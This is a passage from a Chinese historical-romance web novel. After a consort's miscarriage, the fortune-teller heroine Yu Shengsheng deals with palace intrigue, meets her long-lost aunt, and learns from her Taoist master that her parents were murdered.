“出事那会儿我与几位军机大臣正在陛下处商议国事,后宫来人,又宣召了太医,闹得人仰马翻的,如何能不知道?” 闻昊渊摇摇头,“陛下心情很不好,当时脸色都变了,本该今日能料理的事情又不知要拖到何时。” 这也没办法。 突发情况。 再说了,皇帝也是人。 遇到这种事情,怎么可能不被影响? 虞声笙一阵唏嘘:“宫里子嗣不算多,哪怕多一个也好……” 远在宫外的虞声笙并不知晓后宫正在发生的事情。 此时,皇帝已经陪在叶贵妃处大半日了。 骤然小产,叶贵妃伤心不已,眼睛都红了。 毕竟是陪伴自己多年,又颇得圣心的女人,见她这般可怜,皇帝也是于心不忍,连忙哄着劝着。 “是臣妾无福,没能保住陛下的孩子,还求陛下降罪!” “你浑说什么,子嗣一事本就看缘分,你如今身子还伤着,不可太过伤怀;待你养好了身子,日后咱们还会有孩儿的。” “陛下……”叶贵妃扑进他怀里,哭得梨花带雨。 一旁的皇后也是满脸不忍,眼角处隐隐有泪光。 叶贵妃这一胎本就不稳。 自打怀孕起,太医们就日日围着贵妃宫中打转。 各种名贵药材轮番上,更不缺太医院的杏林高手保驾护航。 可即便如此,这一胎还是没能保住。 好不容易劝住了叶贵妃的情绪,皇帝离去。 皇后上前关怀。 叶贵妃垂泪道:“多谢皇后姐姐……这么晚了还因为臣妾的事情奔走操劳,是臣妾的不是。” “快别这样说了,你还有小皇子呀。” 叶贵妃轻轻一窒,点头不语。 皇后又宽慰了好几句才回宫。 偌大的寝宫终于恢复安静,这一刻,叶贵妃也懒得装了,阴沉沉的眉眼处浮现一片狠厉与不甘。 “娘娘息怒。”身边的婢女忙劝着,“陛下与皇后刚走不久,小心隔墙有耳。” “哼,我怕什么隔墙有耳!”叶贵妃咬着牙。 这一胎是她费尽千辛万苦才怀上的。 她已不是青春年少之时,子嗣一事本就看缘分。 小皇子丢失一事,陛下嘴上不说,但心里多少有些不快;是以秋猎归来,他便冷落了叶贵妃很多。 她百般邀宠,几乎使出浑身解数,总算得偿所愿。 可没想到……怀这一胎难,流掉却很简单。 简单得像个笑话。 就因为早起她觉得胸口憋闷,想吃些酸甜的东西解解闷,便让小厨房做了金丝蜜枣羹来;那些奴仆也很乖觉,在里头搁了陈皮燕窝等物,尝起来果真顺了叶贵妃的心思。 她一时贪口,吃了两碗。 却不想吃到最后时被呛着了。 咳嗽了好一阵子,才算把气理顺。 刚松了口气,她就觉得肚皮一阵阵发紧,两腿之下涌出一股暖流来。 后来的事情便是闹得人仰马翻,六宫皆晓。 叶贵妃怎么也没想到,自己不过是咳嗽了一会儿,怎么孩子就没了…… 想起虞声笙曾经说过的话,那女人说她命中就只有一子。 是她偏不信邪。 想到这儿,她眼神一阵阵发狠:“去禀告陛下,就说本宫……噩梦缠身,无法安眠,听闻威武将军府的夫人颇有能耐,能掐会算,擅卜算之道,求陛下准许她即刻进宫,替本宫解了这难处。” 侍女应下,忙不迭地去办。 叶贵妃又横了一眼跪在榻前的太医:“一会儿要是陛下传你们过去,你们知晓该怎么说吧?” 太医战战兢兢匍匐拜倒:“请贵妃娘娘放心,微臣晓得。” 消息传到威武将军府时,虞声笙只着里衣,准备睡下了。 传口谕的太监候在院内,说是宫里的轿辇已齐备,断不会让将军夫人累着身子,还请夫人随他们走一趟。 闻昊渊的脸瞬间就黑了。 “这么晚了还要传你进宫,你如今怀着孕,怎能折腾?这叶贵妃,自己的孩子保不住,难不成也不想看别人有孩子么?”他蹙眉冷冷道。 虞声笙忙按住他的唇:“嘘,别叫外头的人听见了。” “你不准去。” 闻昊渊的脾气也上来了,“大不了明日我去陛下跟前请罪,反正你不能去。” “我也不会去的。”虞声笙温柔笑着,“有样东西我交给太监带回去,想必叶贵妃就不会为难了,说到底,陛下今日也很不开心,咱们何必以卵击石呢。” 说罢,她让金猫儿把早就准备好的一只匣子拿了出去。 金猫儿按照她交代的话,与那传旨太监道:“我家夫人今日也是胎动不止,人都不能起身了,这是夫人请求转交给叶贵妃的……” 第193章最后的清醒 小太监迟疑。 不知该不该接。 一抬眼,却见闻昊渊黑着半张脸出现在眼前,那肃杀莽汉的模样,宛若刚刚从沙场上下来的煞神,低沉的嘴角带着森冷的血腥,冷冷瞥一眼过去,都能看得人小腿打颤。 “叶贵妃莫要欺人太甚,同为孕妇,身为贵妃本该是天下女子之表率,为何非要我家夫人漏夜入宫?我家夫人一不会安胎,二不会医术,宫中那么多太医伺候着,贵妃娘娘还嫌不够么?若非要折腾我家夫人,那某与你走一趟,咱们去了陛下跟前好好分辩分辩!” 闻昊渊冷笑连连。 那小太监哪敢坚持,忙不迭收下匣子,低头离去。 宫妃小产并不是什么稀罕事。 但要是因此折腾朝中重臣的家眷,尤其还是一样怀有身孕的正房夫人,这要是传出去了还不知多难听…… 想也知道,明日一早定会有雪花一般的奏折飞向中枢阁。 贵妃是女眷,不得参政。 但不影响言官们向陛下进言。 这也有伤皇帝的颜面。 闻昊渊赌对了,因为让虞声笙入宫确实是叶贵妃擅自做主。 没等那些太医们得传召,闻昊渊一早天不亮就进宫了,那会子皇帝还在自己的寝殿内用早膳。 听闻这段匪夷所思的故事,皇帝也一阵不快。 “闻卿的心情朕能理解,此事是贵妃莽撞了,她痛失腹中之子,一时情难自已、病急乱投医也是有的,你莫放在心上。” “陛下,微臣并非是来告状,只是……昨夜为护着内子,顶撞了贵妃派来的人,微臣是来请罪的,还请陛下降罪。” 闻昊渊深深拜倒,说得格外真诚。 “降罪什么的,就不必了,不过是妇人们的小心思。”皇帝淡淡道,“你家夫人还好吧?” “多谢陛下宽宥,多谢陛下关怀,我家夫人只是略微受惊,并无大碍。” “贵妃所言也有点道理,你夫人那一手能掐会算,确实厉害,也难怪贵妃会上心……这样好了,等过几日你夫人身子安好,你便让她进宫一趟便是。有朕替你担保,你怕什么?” “是,微臣遵旨。” 闻昊渊二话不说就应了,“比起贵妃,微臣还是更信赖陛下。” 皇帝原本沉闷的情绪也被这话逗得放晴了不少。 他已不是刚刚登基时的青年。 这么多年执掌朝政,大权在握,早就波澜不惊。 后宫中妃嫔众多,生下皇子公主的也不在少数,只是因为叶贵妃颇得圣心,她所出的小皇子自然最受宠爱。 但缘分未到,这一胎保不住也是没办法的事情。 皇帝见惯了,为这事顶多烦心憋闷两三日,很快就会放到一边。 前朝军机政务那么多,桩桩件件都要他亲自过问,他哪有那么多精力陪着叶贵妃儿女情长,去替一个尚未出世、甚至没怀几个月的孩子而伤心呢…… 皇家无情,本就如此。 闻昊渊回去后,将陛下的口谕告知妻子。 虞声笙笑了:“还是你办事牢靠,陛下多半也想看我起卦卜算一番。” “是啊,如此神奇,别说陛下了,我都想再看一回。” “这有什么神奇的,不过是算出未来的走向而已,但归根结底,真正主导这一切的还是当事人自己。”虞声笙耸耸肩。 “怎么说?” “你看,我当初算出了你是旺我之人,是我的福星运道;可若我不主动去找你,不主动去铺垫安排一切,你我还是会擦肩而过的;这世间,真正斩不断的缘分也未必有多幸福,不过是命中注定罢了。” 她莞尔,眯起眼眸,“而我,有时候恰恰是最不信命的。” 闻昊渊听得一阵匪夷所思。 一个擅长命理卜算之术的人,居然说自己最不信命。 在虞声笙身上,似乎总有这样奇异的矛盾感。 却半点不违和。 反而让她那张白净的脸看起来格外神秘。 三日后,虞声笙向宫里递了牌子,得陛下恩准,正式进宫。 她来得突然,让叶贵妃半点准备都没有。 得到消息时,人已经在贵妃宫门之外了。 跟着一起来的,还有皇帝身边的心腹太监,那太监是自幼伺候在皇帝身边的,等于就是皇帝的眼睛耳朵。 叶贵妃瞧见二人一同前来,心已经凉了一半。 那太监尖细的声音笑呵呵道:“给贵妃娘娘请安,这是陛下的意思,那一夜贵妃娘娘心绪难平,想请将军夫人入宫解开心结,可偏巧将军夫人那一夜也是胎动难忍,实在是不便出门,今日是个吉利日子,将军夫人这不就来了么。” 叶贵妃眉心微沉,面上倒是看不出什么端倪。 她刚小产,正坐着小月子,自然气色不算好。 虞声笙上前福了福:“多谢贵妃娘娘不怪罪,臣妇今日特地来给贵妃娘娘解开心结,有陛下身边的人看着,想来贵妃娘娘也安心。” 叶贵妃:…… 她安心个屁。 但这话不能说。 不知是气的,还是不安,她捧着茶盏的手微微颤抖。 片刻,她利落地搁下,拿帕子擦了擦嘴角:“不必了,今日本宫倦态,实在是不便待客,还请将军夫人回去吧,劳你跑这一趟,真是累着了。” 虞声笙笑道:“臣妇今日身子还算爽利。” “可本宫没这个精力听你胡诌。”叶贵妃冷冷道,“那一夜你让人送给本宫的东西,本宫还留着,刚巧你今日来了,便带回去吧。” 她挥挥手,不再言语。 贵妃不想见,皇帝也不可能为了这点小事就动怒。 虞声笙收下那只匣子,又行礼退下。 刚要走出寝宫大门时,突然听到叶贵妃问:“虞夫人,你上回说本宫命里仅有一子,可是认真的?” “从当日的卦象来看,确实如此。” “好。”叶贵妃眯起眼眸,“你退下吧。” 刚出宫门,一辆马车挡住了虞声笙的去路。 帘笼掀起,露出郭大太太的脸:“将军夫人,还请跟我走一趟……” 她语气欲言又止,“有位故人想要见你。” 虞声笙心念一动,忍不住轻抚着手腕上的红绳铜钱。 “好。” 大学士府门很快便近在眼前。 郭大太太领路,一路上众奴仆都不敢抬眼,更不敢说话,四周静悄悄的。 一路穿过游廊,才抵达正堂。 郭大太太步伐很快,跨入门槛时才后知后觉,一阵歉意:“抱歉,我都忘了你如今是有了身子的人了……方才走得太快,没累着你吧?” 说罢,她便让虞声笙坐下,又命人下人上了茶点招待。 “不知是谁想见我?”虞声笙并不意外似的,反而主动问起。 郭大太太面色尴尬,犹豫不决:“你不知晓,我府上原有一位二太太,就是我的弟妹……她、她也姓洪。” 听到这儿,虞声笙瞳仁一紧。 原来,就在前几日,疯疯癫癫、满口胡话的二太太突然头脑清醒,说话做事也如正常人一般。 她竟然问了当年祸事中,留得一命的小侄女。 也是府里下人一时不慎,说出了这小侄女如今就是威武将军府的夫人。 二太太沉默良久,便坚持要见虞声笙一面。 第194章来都来了 原本,郭大太太是没把这话放在心上的。 毕竟二房洪氏已经疯了这么多年了,常常神志不清,胡言乱语。 可一连数日,底下负责照顾洪氏的婆子传话过来,都是一样的内容,说是二太太瞧着不像过往,好像人清醒了似的。 郭大太太放心不下,忙不迭地过来一趟。 第一眼瞧见的,就是洪氏坐在太阳底下懒懒的模样。 她依旧一身素服,未施粉黛,多年不见日头的脸显得有些过于苍白,但那双眼睛却没了疯癫之时的愤怒悲伤,反而出奇地安静了下来,宛若一汪如镜的湖水。 她缓缓转过脸来,轻轻喊了一声:“大嫂子。” 就这一句,郭大太太的心彻底软了。 与弟妹打开了话匣子,一说就是半日。 别的不清楚,但洪氏确实没有疯癫了,还能正常对话。 只是郭大太太不敢提起当年的事情,都避重就轻。 还是洪氏自己提起的。 她说:“我记得当年兄嫂孕有一女,出事的时候好像并未听说孩子也一起遭难了,我这侄女可否还活在人间?” 对上那双清澈又深情的眼睛,郭大太太一时间都不会扯谎了。 迟疑半晌,实话实说。 听闻兄嫂还有骨血留在这世上,洪氏当即泪如雨下:“可怜我疯癫痴傻了这些年,总算老天有眼,没让兄嫂彻底绝后……还活着就好,活着就好。” 等哭够了,她便提出想要见自己这小侄女一面。 一开始郭大太太哪敢做这决定。 便与丈夫商量一番。 夫妻二人一致决定先观察一阵子再说,万一弟妹又头脑不清楚了,在人家将军夫人跟前乱说,那岂不是糟糕? 他们先安抚住了洪氏。 说虞声笙刚刚有孕,不宜走动,等胎像稳固了,再做安排。 一听到这消息,洪氏两眼放光,忙不迭地答应。 接下来的这段时日里,她天天按部就班的吃饭睡觉,闲暇之余就看书散步,半点不见昔日癫狂的模样。 对那段不堪回首的过往,包括血淋淋的事实,她似乎也记得不太清了,她的记忆好像停在了多年之前。 这样也好……郭家大房松了口气。 正因如此,郭大太太才鼓足勇气来找虞声笙。 怎么说那也是虞声笙的亲姑姑……事情都到这一步了,不让人家见面也说不过去,郭大太太到底心疼自己这个弟妹,总想争取一番。 本以为虞声笙会断然拒绝,没想到这一趟很顺利。 郭大太太的话犹在耳畔。 虞声笙反复回味着她的最后一句。 “姓洪?是与我亲生父亲有关系的人么?” “是。”郭大太太咬了咬牙,“你我两家走得这样近,多亏了你,文惜才有了今日这般稳当,人也成长了不少,是以有些话我也不愿瞒着你;她其实是你亲生父亲的亲妹妹,也就是你的——姑姑。” 虞声笙指尖微动。 她没有沉默太久,很快道:“既来之则安之,今日能见一面,也是命中有缘,挡得住一时,也挡不住一世;况且若真如大太太所言,她是我的亲姑姑,那也是这世上与我有血亲的长辈了,如何能不见?” 郭大太太松了口气:“难为你能这样体恤,我这就叫她来。” 虞声笙应了,目送郭大太太的背影离去。 身边的金猫儿有些不安:“夫人……可要传信回去,让将军知晓?” 虞声笙摆摆手:“命中注定的事情,平常心就好。” 她就说之前起的那一卦有些云里雾里看不明白。 原来是还有这样一层血亲关系在。 本来她以为是叶贵妃的影响,让卦象在福祸吉凶间不断摇摆,今日听了郭大太太的话,她才明白并不是…… 不一会儿,郭大太太领着一纤瘦妇人过来了。 对方很瘦,瘦得吓人。 但衣裳齐整,发髻也梳得端庄,鬓边戴了一支蝶舞素银的双钗,一双眼睛正殷切地注视着虞声笙,片刻不愿挪开。 郭大太太略微介绍了两句,这妇人便迫不及待上前几步:“我是你姑姑,好孩子。” 这突如其来的一句,把郭大太太都吓得不轻,还以为弟妹疯病又犯了。 但紧接着,却瞧洪氏满眼泪光,从怀中摸出一枚玉佩塞进虞声笙的手里:“拿着吧,好孩子,这是你父母留下的东西……” 虞声笙只觉得掌心一片温热,那玉佩上还带着洪氏的体温。 她紧紧收拢,笑得温煦:“多谢姑姑。” 听到这个称呼,洪氏顿时喜极而泣,不住地用袖口拭泪。 郭大太太忙道:“都别拘着了,坐吧,咱们边吃茶边说话,今儿有的是功夫呢。” 三人坐在一处,说说笑笑。 大部分都是洪氏在絮絮叨叨,说的大多是虞声笙亲生父母的事情,说到伤心之处,她不免落泪,但神智却依旧清醒。 “我原本迷迷糊糊的,也分不清白日黑夜,总觉得脑子钝钝的,心更是疼得难受……后来一日,我遇见了一个老头,他不知为何坐在我院中,对我说了什么话,我这会子也记不清了。” 洪氏回忆起这段,总觉得是自己在做梦。 “后来那老头往我额前画了什么符,紧接着我就觉着清醒多了,像是大梦初醒一样……” 郭大太太听到这儿,还觉得是弟妹说的做梦的胡话。 什么老头,什么画符…… 大学士府里里外外多少奴仆,想从正门往内宅院中,先后要穿过六道门槛,光是负责守门的婆子就不下十来个。 她可不觉得有人能穿过这些耳目,不惊动任何人,还能顺利抵达洪氏的院中,这是在痴人说梦。 可虞声笙却听得眉心微紧,心头咯噔一下。 “那老头长什么样?” 洪氏详细描述了一番,后恍然大悟道:“对,他说过自己是玉浮道人。” 虞声笙瞳仁猛地一缩:“是么……真是神奇。” “也是我有缘,能清醒地再见一面我的小侄女;我记得那一年你还被你母亲抱在怀里,如今再见你都这么大了,自己都要做母亲了。” 洪氏又垂泪不断。 一时间,郭大太太劝都劝不住,只能陪着一起抹泪。 倒是虞声笙淡然从容,说了句:“姑姑既然好不容易恢复,更应该保重身子,往后我会常来看你的。” 洪氏闻言,整个人都焕发精神:“当真?” 她紧紧握住洪氏的手:“自然,孝敬长辈哪能作假。” 离开大学士府,郭大太太千恩万谢,又让郭文惜送虞声笙出府,还顺便赠了好些吃食点心,都是大学士府厨娘的拿手绝活。 郭文惜嘟囔着:“我与声笙姐才是投契好友,娘怎能不告诉我她来了?却把声笙姐拘在花厅里说什么悄悄话……” 郭大太太翻了个白眼,实在是不想搭理这个过于天真的女儿。 回府后,虞声笙面色如常。 身边的丫鬟们也暗暗松了口气。 今日之事瞧着稀奇古怪,但主母却好像并不往心里去。 虞声笙命人收拾了花厅出来,少有的将晚饭摆在了花厅里。 待饭菜上齐,闻昊渊还未归,她便屏退众人,只身在厅中静静用饭。 忽听窗外搁楞一声,好像是风吹翻了什么东西。 虞声笙连眼睛都没抬:“来都来了,躲躲藏藏地给谁看?” 第195章天大的秘密 又慢条斯理地嚼了两口饭,此时,从外头闪进来一青衣粗布的老头,走路一蹦三跳,半点没有出家人该有的稳重,要说超凡出尘什么的,那更是无从提起了。 虞声笙瞥了一眼,眼底闪过笑意,很快又压住了。 “你可算出现了,我还以为你死在外头了。” 那老头便是玉浮道人。 他欢欢喜喜走到她跟前:“不错嘛,成为将军夫人后你这伙食也提升了不少,有肉有菜还有白米饭,有酒没有?给为师拿一点,实在没有,你弄点花生米也成,我要那种猪油炸过的,喷香干脆的,那才下饭。” 她没好气翻了个白眼:“要吃就坐下,没酒,也没别的。” 玉浮板起脸:“你还是跟小时候一样,一点点吃食都这样抠抠搜搜的,半点不像是大户人家的夫人。” “不吃就算了。” “ 吃吃吃,我几时说我不吃了?你这孩子……一点就炸,就不能容为师说两句话了?”玉浮唠唠叨叨,终究还是坐下了。 虞声笙轻笑着看他:“这些年你东奔西走的,都去哪儿了,我到处也没找到你,起卦算你的行踪也扑朔迷离,根本算不出来。” “少来。”老头咽下一口饭,美得眯起眼睛,“我还不晓得你,你什么找过我?在哪里找过我吧。” “嘿嘿。” 玉浮翻了个白眼:“我年岁大了,还能活几年,不趁着身子骨硬朗多出去看看山水,怎么对得起自己;我可不像你,年轻福报大,还能混个将军夫人当当。” “我为自己选的夫婿,老头瞧着如何?” 玉浮闻言,挑眉轻笑:“你个小妮子,可算把我的绝学学到了精髓,人不为己天诛地灭,就该这般;这男人选的好,八字面相都不错,就像是为你量身定做似的,你从哪儿找来的?” “天机不可泄露。”她卖关子。 “哼。”他冷哼,“在我跟前还天机,你也不想想你这一身本事是谁教你的。” “你也不想想当初是谁救了你。” “所以你后来就拿馒头孝敬你师父?” “能吃上馒头就不错了,你看看当时庄子上其他人吃的是什么,挑什么挑!不吃就给我放下!” “别别别,我吃我吃,你急什么。” 师徒二人边吃边说话,时不时还闹得一阵对骂,听得外头守着的丫鬟们一阵心惊肉跳。 ——这人是谁,竟能与她们夫人这般亲近,还能张口骂人……这也太有失体统了。 虞声笙此刻心里暖暖的。 回忆年幼之时,玉浮道人虽不靠谱,但对她这个小徒弟也算倾囊相授,他们师徒俩挨饿一起挨,偷番薯地瓜也是一起偷;玉浮年纪大,但从未照顾过孩子,师徒俩几乎是在郑邱二人的眼皮子底下讨生活的。 在固定的庄子上竟然活出了颠沛流离的感觉来,也是别有一番滋味了。 比起苛待自己的郑邱二人,玉浮显然真诚很多。 他更多时候是不怎么把虞声笙当成小孩子的,更多是把她当成了同行一段的伙伴。 两碗饭下肚,玉浮已经吃饱了。 他摸摸肚皮,感慨道:“我来京城寻你,是因为当年你父母的事情有了眉目。” 虞声笙垂眸:“巧了,我也遇到了亲姑姑。” “世上的事情全凭缘法二字。”玉浮又道,“你父母当年并非暴病而亡,而是被人害死的。” 这一点她早就猜到了。 今日听师父直接揭开谜底,她还是难免心尖微颤。 “跟虞家有关么?” 玉浮摇摇头:“你养父虽是你亲生父亲的故交,更引为知己,但这件事他毫不知情,否则也不能平安顺利地将你养这么大。” 虽说虞家早些年是懈怠了些,才让郑邱两个婆子钻了空子。 但凭良心说,若无虞家的银钱支撑,单凭着虞声笙一个瘦弱无依的女娃娃,是断不可能活到成年的。 “你很担心与虞家有关?”玉浮看出了她的心思。 “嗯,到底养我一场,我也不愿与他们反目。”虞声笙实话实说,“我养父母不算坏人。” “虞正德不比自己的兄长能耐,失了不少往上爬的机会,却也因此保全了一家老小不被烈油活烹,也算一种幸运了。” 玉浮一语道破,“你父母的死与虞家无关,却与宫中的贵人有关;我查到的说法,说是当年你父亲政见过于激进,偏又才华横溢,颇得圣上信赖,引得朝中其他势力不满;也有人不愿见你父亲外任,免得查出什么东西来,便在路上下手,做得是干干净净。” “宫中的贵人……”虞声笙呢喃着,“我与叶贵妃倒是有过几面之缘,她给我的感觉有点怪;噢对了,那小皇子并非她亲生,搞不好都不是陛下的种。” 玉浮正喝茶呢,一听这话茶直接喷了出去。 “我与你有仇吗?你要这样害我?你个小没良心的!” 他骂骂咧咧,“这样的事情告诉我干什么?我不要听,你刚刚什么也没说。” “你都世外高人了,还怕这些?”她哭笑不得。 “世外高人怎么了,世外高人不要吃饭不要享乐的嘛?你个小丫头坏得很,小时候就会栽赃陷害,叫我去田埂上蹲着,结果害我被当成偷菜的贼,被人家一顿好打!你倒好,自己窝在田地里,吃萝卜吃了个饱!!” “师父,咱们说好了不翻旧账的。” “我不管!!” 好不容易安抚住,玉浮气哼哼地又倒了一杯茶:“那你说吧,眼下想做什么?” 想了想,他又劝道,“你父母若是在天有灵,也不忍心瞧你以卵击石,横竖你如今已经是虞家的姑娘,前尘往事、父母亲缘,能断就断了吧。” “有些事可不是我想断就能断的。” 她苦笑,“知晓我身份的人怕还有不少,如今我在明,他们在暗,我很被动的。你放心好了,遇到事情我绝不连累你。” 玉浮满眼怀疑:“真的?” “真的。” “你之前哄骗我去替你偷枇杷或是鸡蛋时,也是这么说的。” 虞声笙:…… 老头被骗多了,长记性了…… “罢了,谁还同你个小孩计较。”玉浮一甩袖子起身,“提醒你一句,那瑞王确实不是什么好人,你与他来往须小心谨慎。” “明白。” 这话昌夫人也说过。 虞声笙却更清楚,若真的没缘法,她不可能遇到昀哥儿,也不可能会有后来的故事。 玉浮走了。 还带走了好几碟子果子,一股脑都塞进他的衣兜里。 如他来时一样,走得跟一阵风似的。 虞声笙这才命丫鬟婆子们进来收拾,她回了安园歇息。 玉浮道人来府里的事情她也没瞒着闻昊渊,只是隐下了谈话内容,有些事现在的闻昊渊还不方便知道。 “你师父?那不就是咱们自家的长辈,为何不留下他?”闻昊渊知晓玉浮道人就是教妻子那一手卜算问卦绝技的人,顿时来了兴致。 “我师父闲云野鹤惯了的,府里的日子固然富足,却不对他那自由自在的性子,且让他出去逛吧,强留反而不好。” “也是。” 闻昊渊抬手蹭了蹭妻子的脸颊,“对了,陛下有意,让我与慕淮安共当守卫城防主理一职。” 第196章石府的故事 这是升官了? 虞声笙有些好奇。 对上妻子那双亮晶晶的眼睛,闻昊渊便晓得她想岔了,有些哭笑不得:“不算升官,只是身兼数职,非战事时期,我们这些武将自然是哪里需要往哪里遣,我不过是不乐意与慕淮安共事罢了。” “那能拒了这差事么?” “陛下如今最信赖的人就是我了,慕淮安是因为之前建功在身,更是年轻一辈,陛下也有意培养,所以才下了这道旨意。” 那就是不能拒了。 虞声笙沉默片刻:“既来之,则安之,难不成我选的夫君还比不上慕淮安那人么?我对你有信心。” 说罢,她用力拍了拍丈夫肩头两下,给了很浓重的眼神暗示。 闻昊渊笑了:“我听你的。” 媳妇说他可以,那他就可以。 翌日,修园子的另一路工匠班子过来了。 这一路人除了擅长布局、修缮的工人之外,还有会种植果树、料理作物的人才,虞声笙特地托牙行的人帮忙找的,可花了好一笔钱。 威武将军府的后面有一大片的果园,与后山连在一起,放眼望去郁郁葱葱,几乎一眼望不到边。 那会子张氏过来瞧了,惊叹不已,眼里难掩都是羡慕。 等冷静下来,她便督促养女,要好好将这一处园子打点起来。 日后也是府里的一项进项。 “你别以为操持这么大一个府邸是很简单容易的事情,迎来送往,人情往来,还有每日一睁眼这府里上上下下多少张嘴等着吃饭,哪一样不要开销?”张氏正色道。 “一个合格的主母就该操持得当,亏空是万万不能有的。” 虞声笙明白,这已经是张氏对自己最大的期望了。 说这话时,张氏无不后悔。 要是早知道养女能嫁得这样好,她说什么都不会让人在庄子上白白耽搁时间,一定会提前将人接回身边好好教养。 现在说什么都晚了,还是一步步来吧。 为了让虞声笙奋发图强,早日进步,张氏又跟萱妈妈交代了很多,甚至还给了一摞账本,里头被她圈画了很多内容,让虞声笙平日里多看多学多研究,最好下次回娘家时还要跟她汇报一下心得。 听到这里,虞声笙的嘴角都在颤抖。 不至于吧,真不至于啊太太…… 可她说了没用。 萱妈妈也是个极为负责的管事婆子。 在萱妈妈看来,虞声笙现在的日子有些过于清闲了。 不过孕期嘛,还能理解。 趁着现在月份小,身子还没那么笨重,赶紧把能学的都学起来,从前囫囵吞枣学得不够扎实的,还要由她一一指点,将这些学夯实了。 萱妈妈是这么说的:“那些个高门府邸的大家闺秀,哪一个不是从五六岁起就开始耳濡目染了,夫人是早些年吃了身子亏空的苦,还好太太有安排,老奴也会尽心尽力的。” 虞声笙:…… 学习是痛苦的。 学习也是快乐的。 经过一段时日的努力上进,虞声笙看账本的速度堪称一目十行。 她本就擅长卜卦,心算更是一流。 往往那些个管事们还在绞尽脑汁想说法应付,她这边已经看出端倪来,寥寥数语一针见血,说得那些人战战兢兢,再也生不出糊弄之心。 虞声笙觉得,学习有用,还得加紧。 有道是技多不压身嘛。 在一番大好的形势下,嫂子郑秋娥带着孩子过来串门了。 “哎哟,这段时日不见这兴哥儿又长胖了,来来,给姑姑抱抱。” 虞声笙笑呵呵地从婆子怀中接过白胖娃娃。 兴哥儿也很喜欢这位姑姑,被抱了,咯咯直笑。 郑秋娥在一旁掩口道:“有道是侄子像姑姑,与姑姑亲近呢,瞧瞧兴哥儿这般,在家里的时候对他亲爹也没这样笑过。” 虽说如今虞声笙也怀着孕,但她身子底子好,抱一个孩子轻轻松松。 倒是一旁的婆子看得胆战心惊,始终盯着。 终于瞅见一个机会上前又把兴哥儿接了过来,还笑道:“别累着姑奶奶了,如今小少爷正闹腾着呢。” “是呢,别抱了,过来咱们姑嫂两个坐着说说话。” 郑秋娥笑道。 虞声笙便让人将兴哥儿放在榻上。 这榻上三面都有木质围栏,周围还有婆子丫鬟们守着,再安全不过。 她与郑秋娥面对面坐下,吃茶说笑。 前段时日,郑秋娥的母亲过来探望她,还带了一肚子的故事分享给女儿,让女儿略显无聊枯燥的内宅生活丰富了不少。 郑秋娥秉着有好大家分的原则,又将这些故事说给小姑子听。 京中豪门不少,更不缺世家大族。 那些个少爷小姐当中有的是新鲜的趣闻。 首先第一个,便是徐心敏府上的故事。 却说那徐心敏与公婆联手,已经让丈夫石芠孤立无援。 在府里无法得到父母的支持,对老婆也没有一开始的情深意浓,自然觉得日子苦如黄连。 他本就不是什么上进用功的性子。 贪美好色是常态,加上耳根子又软,稍不留意就能被人动了心肝,又生出一番信誓旦旦的深情来。 这一回他看上的,是同窗身边伺候笔墨的小丫鬟。 那丫鬟年方十七,出落得玉芷兰心,娇媚可人。 大约是已经做了自家少爷的通房,晓得男女情事,那眉眼间自带几分欲语还休的妩媚,轻轻一笑,就把石芠的心魂勾走了一半。 那同窗哪有看不明白的。 本来就是一通房丫鬟,生得再美貌又如何? 只要少爷愿意,今天换了,明日就会有更好的来。 于是为稳固同窗情分,更为了能和石芠有更深一层的关系,这同窗索性展现了一回大方,主动将这丫鬟送给了石芠。 说是送,但实际上也就每日去书院进学时,让这丫鬟伺候在石芠左右,有红袖添香,自然让人乐不思蜀,顿时读书也变得美妙起来。 渐渐地,这同窗还会拉着他一道去喝花酒。 席间,石芠便与这丫鬟搂搂抱抱,趁着众人酒醉迷糊之际,再难忍耐的石芠拉着丫鬟去了隔间,成就了好事。 尝到了滋味,石芠越发觉得这丫鬟体软身娇,比起从前相好的女子更有风姿韵味,愈发丢不开手。 听到这儿,虞声笙好奇:“这样隐秘的事情,你们是怎么知晓的?” 哪个大户人家没有妾室通房? 互相送个妾,这也算个事? 郑秋娥说得桃腮浮云,一阵羞涩:“嗐,这不是后来闹起来了么,那丫鬟有了身孕了,于是便不好再跟在原先主子的身边。” “……石芠要纳妾了?那、那赵夫人可愿意?” “由不得她不愿意,人是人家府里的太太亲自送上门的,还说什么也算结了两府两位公子的善缘,以后若有机会同在官场行走,必定互相扶持。” 话说得这样好听,事情办得这样周全,好像坐等着似的。 很快,这名叫香雪的丫头就成了石芠房中的妾室,唤作香姨娘。 这是赵夫人出面同意的,徐心敏再反对也没用。 最后婆媳二人面色都很难看。 只不过赵夫人怪自己儿媳没本事,笼络不住男人;而徐心敏却不吃这个哑巴亏,当场就反呛了回去:“母亲不如怪自己,教养无方,将大爷惯成这副模样。” 第197章石芠死了 虞声笙惊叹连连:“好勇的女子,这徐心敏果真敢说。” “可不是。”郑秋娥也不免羡慕佩服。 换成是她,断断不敢这样跟婆母说话的。 偏徐心敏就敢。 “那后来呢?” “香姨娘进了门,又怀了身孕,这要是生下来便是他们府里第一个孙辈,若是个庶长子……我怕徐家姑娘的日子不好过喽。” 郑秋娥无奈又感慨。 “这些个妻妾纷争,说到底都是男人惹出来的,石芠好好读书便是,出门找孔夫子上进的功夫还能整出这些麻烦来,这书不读也罢,免得气坏了读书人的祖师爷,叫府上坏了风水。” “你呀,可真是牙尖嘴利的,这话在我跟前说说就行了,可不能去外头说。” “嫂子以为我是玩笑?”虞声笙摇摇头,“有道是万恶淫为首,那个石芠在男女一事上不清不楚,原就惹了人命官司在身,今日还不知检点,连媳妇都压不住他,你等着瞧好了,这事儿呀没完呢。” 想到自己这位小姑子那出神入化的本事,郑秋娥微微一怔,也有些信了几分。 与娘家嫂子说笑,时光过得格外匆忙。 转眼便到了离去的时候。 送走郑秋娥母子俩时,虞声笙还特地赠给兴哥儿一枚平安玉锁。 郑秋娥瞧见欢喜不已:“你这般破费,嫂子记在心里了;回头等你得了个大胖小子,嫂子一定送你一份厚厚的礼。” “不论男女,康健平安就好,不过嫂子这话我可记着了,嫂子回去可要好好准备。” “你呀……” 正如虞声笙所言,这话说了不到七八日,这一天晚上,虞声笙和闻昊渊刚歇下,就听外头芳妈妈匆匆来传话。 “将军,夫人,石府来人了,说是想求一根百年老参回去,给他们家少爷吊着命。” 虞声笙正有些迷糊,脑袋一片浆糊。 闻昊渊抬手给她披了件衣裳,又问:“石府少爷要不成了?求什么老参?” “回将军的话,来人是这样说的。”芳妈妈也是不明所以。 看样子石府应该是所求无门,赵夫人没法子只能想到威武将军府。 毕竟百年老参是宝贝,若无深厚的交情,石府的主子们也开不了这个口。 最终,闻昊渊还是命人去库房取了一支老参交给石府来人。 